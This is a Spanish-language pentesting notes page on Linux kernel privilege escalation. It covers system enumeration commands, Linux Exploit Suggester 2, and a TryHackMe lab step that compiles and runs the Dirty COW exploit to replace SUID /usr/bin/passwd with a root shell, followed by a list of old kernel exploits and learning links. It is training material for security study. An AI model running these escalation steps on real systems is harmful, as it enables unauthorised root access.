Kernel Exploit
Las vulnerabilidades del kernel pueden dejar el sistema en un estado inestable.
Las vulnerabilidades del kernel cuando un exploit es ejecutado el sistema puede quedar inestables (Windows y Linux).
Pasos para buscar el exploit se puede denominar Enumeración.
En el primer paso se puede buscar información del sistema,estos pasos de puede hacer de forma manual o automática,una ves recopilado la información necesaria se empieza con la búsqueda del exploit.
Para tener mas información del sistema se pueden ejecutar los siguientes comandos.
uname -a #all
uname -r #kernel release
Otra de la forma es ver el archivo proc/version.
cat /proc/version
Si se quiere tener mas información se puede ejecutar.
uname -a ; lsb_release -a; cat /proc/version /etc/issue /etc/*-release; hostnamectl | grep Kernel
Otra forma es ejecuta la herramienta Linux Exploit Suggester 2 para identificar posibles exploits del kernel en el sistema actual:
linux-exploit-suggester | Kali Linux Tools
linux-exploit-suggester-2.pl
Por ejemplo en TryHackMe | Linux PrivEsc debería aparecer listado el exploit del kernel de Linux "Dirty COW".
Este reemplaza el archivo SUID /usr/bin/passwd por uno que genera una shell (se hace una copia de seguridad de /usr/bin/passwd en /tmp/bak).
Compila el código y ejecutar:
gcc -pthread /home/user/tools/kernel-exploits/dirtycow/c0w.c -o c0w
./c0w
Una vez que se complete el exploit, ejecuta /usr/bin/passwd para obtener una shell de root:
/usr/bin/passwd
Antes de salir del root deberas restaurar el archivo original /usr/bin/passwd y salir de la shell de root.
mv /tmp/bak /usr/bin/passwd
exit
Lista exploit
Linux Kernel < 2.6.37-rc2 ACPI custom_method Privilege Escalation Linux Kernel - 5.8 < 5.16.11 - Local Privilege Escalation (DirtyPipe) Linux Kernel - 2.4.20 To 2.4.27 mremap missing do_munmap return check kernel exploit Linux Kernel - 2.4.29 uselib VMA insert race vulnerability Linux Kernel < 2.6.36-rc6 pktcdvd Kernel Memory Disclosure Linux Kernel < 2.6.36.2 Econet Privilege Escalation Exploit Linux Kernel < 2.6.11 Local integer overflow Exploit Linux Kernel - 2.6.0-2.6.16 Local Race Linux kernel < 2.6.22 open/ftruncate local exploit Linux Kernel < 2.6.36-rc1 CAN BCM Privilege Escalation Exploit Linux Kernel - 2.6.28 To 3.7.6 _X86_MSR Exploit Linux kernel <2.6.29 exit_notify() local root exploit Linux Kernel- 2.6.34 To 2.6.36 CAP_SYS_ADMIN to root exploit Linux Kernel - 3.0 To 3.8.9 perf_swevent_init Local root exploit Linux Kernel - 3.4.0 To 3.13.1 CVE-2014-0038 Linux Kernel- 3.8.0 To 3.13.1 CVE-2016-072 PP_KEY
Lista de sitios interesantes.
Learning Linux kernel exploitation - Part 1 - Laying the groundwork
Hello, kernel: Exploiting an intentionally vulnerable Linux driver
Learning Linux Kernel Exploitation - Part 1 | Efiens Blog
Recursos
Un informático en el lado del mal: Linux Exploit Suggester: ¿Cómo puedo hackear este Linux?
SecWiki/linux-kernel-exploits: linux-kernel-exploits Linux平台提权漏洞集合
Kernel Exploits – Linux Privilege Escalation
Linux Privilege Escalation - Kernel Exploits - Steflan's Security Blog
Última actualización